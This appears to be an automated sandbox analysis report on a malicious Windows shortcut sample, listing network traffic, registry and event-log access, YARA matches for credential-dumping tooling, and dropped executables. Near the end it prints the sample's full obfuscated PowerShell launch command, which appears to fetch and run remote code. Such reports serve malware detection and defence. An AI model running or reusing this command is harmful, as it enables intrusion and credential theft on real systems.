Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502D
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806004
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000014.00000002.5353297859.000002B706624000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601R
Source: svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806041
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806045
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356331415.000002B706F51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356331415.000002B706F51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000014.00000002.5355101868.000002B706702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000014.00000003.4009190406.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4009237411.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4009319779.000002B706F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cpp
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008364516.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000014.00000002.5355101868.000002B706702000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/Inlinin.srf?i
Source: svchost.exe, 00000014.00000003.4008607753.000002B706F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008855690.000002B706F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353510540.000002B70665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008855690.000002B706F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000014.00000002.5358671271.000002B70749D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srfF
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000014.00000002.5353297859.000002B706624000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5356331415.000002B706F51000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4031235204.000002B706F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf0t
Source: svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: powershell.exe, 00000003.00000002.3833875845.00000273101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3833875845.0000027310081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3816213089.00000273014EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4168001011.0000016FF0535000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020081654000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3996239881.0000020090076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.3949447703.000002008147E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.4008757438.000002B706F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.30:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.30:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.30:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.30:49766 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\myRdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\RdpService

Reads the System eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\RdpService

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_5508.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 46.2.myRdpService.exe.7ff7e48b0000.0.unpack, type: UNPACKEDPE	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: 0000002E.00000002.5360410933.00007FF7E4DB6000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: Process Memory Space: powershell.exe PID: 6616, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5508, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: svczHost.exe PID: 9168, type: MEMORYSTR	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\svczHost.exe

Jump to dropped file

Uses regedit.exe to modify the Windows registry

Source: C:\Windows\Temp\myRdpService.exe

Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BDF1C6	4_2_00007FFD13BDF1C6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BDFF72	4_2_00007FFD13BDFF72
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BD0EF3	4_2_00007FFD13BD0EF3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD13BA4E6A	8_2_00007FFD13BA4E6A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFD13BB7819	25_2_00007FFD13BB7819
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFD13BB85C9	25_2_00007FFD13BB85C9

Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\myRdpService.exe 5744321DFC2240023EF89A8D3A4B57C635FEDFEF0E265F1C8F7971AA9F635C34
Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\svczHost.exe B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A

Source: svczHost.exe.12.dr

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904

Source: amsi64_5508.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 46.2.myRdpService.exe.7ff7e48b0000.0.unpack, type: UNPACKEDPE	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: 0000002E.00000002.5360410933.00007FF7E4DB6000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: Process Memory Space: powershell.exe PID: 6616, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5508, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: svczHost.exe PID: 9168, type: MEMORYSTR	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump

Source: classification engine

Classification label: mal100.troj.expl.evad.winLNK@82/62@1/2

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8572:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3224:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7432:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6444:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5348:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8736:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7092:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8472:120:WilError_03
Source: C:\Windows\Temp\myRdpService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6236:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6808:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3260:304:WilStaging_02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5388:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3152:304:WilStaging_02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\STARTUAC
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8472:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5420:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9176:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6236:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3152:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0t4v1bs3.su1.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: 3y37oMIUy6.lnk

ReversingLabs: Detection: 28%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
